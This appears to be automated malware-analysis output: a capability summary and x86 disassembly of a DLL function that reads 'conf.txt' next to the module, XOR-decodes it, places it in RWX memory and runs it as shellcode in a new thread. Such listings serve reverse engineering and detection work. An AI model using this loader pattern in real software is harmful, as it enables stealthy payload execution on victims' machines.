Function at 0x10001200
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x328
mov eax, dword [0x10006008]
xor eax, esp
mov dword [esp + 0x324], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x224]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x220]
mov dword [esp + 0xe0], 0
mov dword [esp + 0xf0], 0
lea edx, [ecx + 1]
mov dword [esp + 0xf4], 0xf
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001260
sub ecx, edx
lea eax, [esp + 0x220]
push ecx
push eax
lea ecx, [esp + 0xe8]
call fcn.10002460
cmp dword [esp + 0xf4], 0x10
lea esi, [esp + 0xe0]
mov edi, dword [esp + 0xf0]
cmovae esi, dword [esp + 0xe0]
setae byte [esp + 0x13]
test edi, edi
je 0x1000130c
push 0x5c
lea eax, [esp + 0x124]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x17d]
push 0xa3
push 0
push eax
call sub.VCRUNTIME140.dll_memset
or ecx, 0xffffffff
mov byte [esp + 0x188], 1
lea eax, [edi - 1]
add esp, 0xc
cmp eax, ecx
cmovb ecx, eax
movzx eax, byte [ecx + esi]
add ecx, esi
mov al, byte [esp + eax + 0x120]
test al, al
jne 0x10001308
cmp ecx, esi
je 0x1000130c
movzx eax, byte [ecx - 1]
dec ecx
mov al, byte [esp + eax + 0x120]
test al, al
je 0x100012f4
sub ecx, esi
jmp 0x1000130f
or ecx, 0xffffffff
inc ecx
mov dword [esp + 0x100], 0
cmp edi, ecx
mov dword [esp + 0x110], 0
lea eax, [esp + 0xe0]
mov dword [esp + 0x114], 0xf
cmovb ecx, edi
cmp byte [esp + 0x13], 0
push ecx
cmovne eax, dword [esp + 0xe4]
lea ecx, [esp + 0x104]
push eax
call fcn.10002460
mov ecx, dword [esp + 0xf4]
cmp ecx, 0x10
jb 0x10001394
mov edx, dword [esp + 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000138a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000177d
push ecx
push edx
call fcn.100029fd
add esp, 8
movaps xmm0, xmmword [esp + 0x100]
movaps xmmword [esp + 0xe0], xmm0
movq xmm0, qword [esp + 0x110]
movq qword [esp + 0xf0], xmm0
mov edx, dword [esp + 0xf4]
mov eax, edx
mov ecx, dword [esp + 0xf0]
sub eax, ecx
push 8
cmp eax, 8
jb 0x10001401
cmp edx, 0x10
lea esi, [esp + 0xe4]
lea eax, [ecx + 8]
cmovae esi, dword [esp + 0xe4]
add esi, ecx
mov dword [esp + 0xf4], eax
push str.conf.txt
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 8], 0
jmp 0x10001419
push ecx
mov byte [esp + 0x1c], 0
lea ecx, [esp + 0xe8]
push dword [esp + 0x1c]
push 8
call fcn.100027c0
lea ecx, [esp + 0x98]
mov dword [esp + 0x28], 0x10004278
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x34]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov eax, dword [esp + 0x28]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0x28], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0x28]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [esp + ecx + 0x24], eax
lea ecx, [esp + 0x38]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
lea ecx, [esp + 0x38]
mov dword [esp + 0x38], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esp + 0x80], 0
mov byte [esp + 0x75], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x10006588]
cmp dword [esp + 0xf4], 0x10
mov ecx, dword [0x1000658c]
mov dword [esp + 0x78], eax
lea eax, [esp + 0xe0]
cmovae eax, dword [esp + 0xe0]
push 0x40
push 0x23
push eax
mov dword [esp + 0x90], 0
mov dword [esp + 0x88], ecx
mov dword [esp + 0x7c], 0
call dword [sym.imp.MSVCP140.dll_struct__iobuf____cdecl_std::_Fiopen_char_const___int__int_]
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x100014f4
push eax
mov eax, dword [esp + 0x2c]
lea ecx, [esp + 0x2c]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
jmp 0x100015e6
lea ecx, [esp + 0x38]
mov byte [esp + 0x80], 1
mov byte [esp + 0x75], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
lea eax, [esp + 0x1c]
mov dword [esp + 0x14], 0
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x24], 0
push eax
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__get_stream_buffer_pointers]
mov edx, dword [esp + 0x2c]
add esp, 0x10
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
push edx
push ecx
push eax
push edx
push ecx
push eax
lea ecx, [esp + 0x50]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_char____char____int___char____char____int__]
mov eax, dword [0x10006588]
mov ecx, dword [0x1000658c]
mov dword [esp + 0x78], eax
lea eax, [esp + 0x20]
mov dword [esp + 0x7c], ecx
lea ecx, [esp + 0x38]
push eax
mov dword [esp + 0x88], esi
mov dword [esp + 0x74], 0
call dword [sym.imp.MSVCP140.dll_public:_class_std::locale___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void_]
mov ecx, eax
call fcn.10002590
mov esi, eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::codecvt_base::always_noconv_void_const]
test al, al
je 0x100015a8
mov dword [esp + 0x70], 0
jmp 0x100015b6
lea ecx, [esp + 0x38]
mov dword [esp + 0x70], esi
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov ecx, dword [esp + 0x24]
test ecx, ecx
je 0x100015d1
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x100015d1
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov eax, dword [esp + 0x28]
lea ecx, [esp + 0x28]
push 0
push 0
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool_]
cmp dword [esp + 0x84], 0
jne 0x100015f7
xor esi, esi
jmp 0x10001712
push 2
push 0
push 0
lea ecx, [esp + 0x34]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
lea eax, [esp + 0x100]
push eax
lea ecx, [esp + 0x2c]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
push 0
push 0
push 0
mov edi, dword [eax + 8]
lea ecx, [esp + 0x34]
add edi, dword [eax]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
push edi
call fcn.10002a0b
add esp, 4
mov esi, eax
cmp dword [esp + 0x84], 0
mov dword [esp + 0x14], esi
je 0x10001657
mov eax, edi
lea ecx, [esp + 0x28]
cdq
push edx
push eax
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
xor ecx, ecx
test edi, edi
jle 0x100016d0
cmp edi, 0x40
jb 0x100016c7
mov eax, edi
and eax, 0x8000003f
jns 0x10001670
dec eax
or eax, 0xffffffc0
inc eax
movaps xmm2, xmmword [str.________________]
mov edx, edi
sub edx, eax
lea eax, [esi + 0x20]
nop
movups xmm0, xmmword [eax - 0x20]
lea eax, [eax + 0x40]
add ecx, 0x40
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [eax - 0x60], xmm0
movups xmm0, xmmword [eax - 0x50]
pxor xmm1, xmm0
movups xmmword [eax - 0x50], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [eax - 0x40]
pxor xmm1, xmm0
movups xmmword [eax - 0x40], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [eax - 0x30]
pxor xmm1, xmm0
movups xmmword [eax - 0x30], xmm1
cmp ecx, edx
jl 0x10001680
cmp ecx, edi
jge 0x100016d0
xor byte [ecx + esi], 0x60
inc ecx
cmp ecx, edi
jl 0x100016c7
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push dword [esp + 0x18]
mov esi, eax
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, 1
mov eax, dword [esp + 0x28]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0x28], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0x28]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [esp + ecx + 0x24], eax
lea ecx, [esp + 0x38]
call fcn.100021d0
lea ecx, [esp + 0x40]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [esp + 0x98]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [esp + 0xf4]
cmp ecx, 0x10
jb 0x1000178d
mov edx, dword [esp + 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001783
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001783
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100029fd
add esp, 8
mov ecx, dword [esp + 0x32c]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.100029bf
mov esp, ebp
pop ebp
ret